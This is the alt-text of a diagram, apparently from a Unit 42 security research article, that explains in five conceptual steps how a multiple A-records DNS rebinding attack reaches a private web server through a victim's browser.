![The diagram illustrates how a multiple A-records attack works. The lefthand part of the diagram shows what happens for the private network and the righthand side displays what happens for the public network. Steps illustrated are 1. Victim browser asks the malicious DNS resolver, What is the IP of attack[.]com, 2. Malicious resolver responds, The IP of attack[.]com is as follows. 3. a malicious web server sends the victim's browser a malicious rebinding script, 4. The victim browser sends a second request, now going to the malicious web server, 5. This establishes cross-origin communication between the private web server and the victim browser.](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/08/word-image-68.png)
Get updates from Unit 42 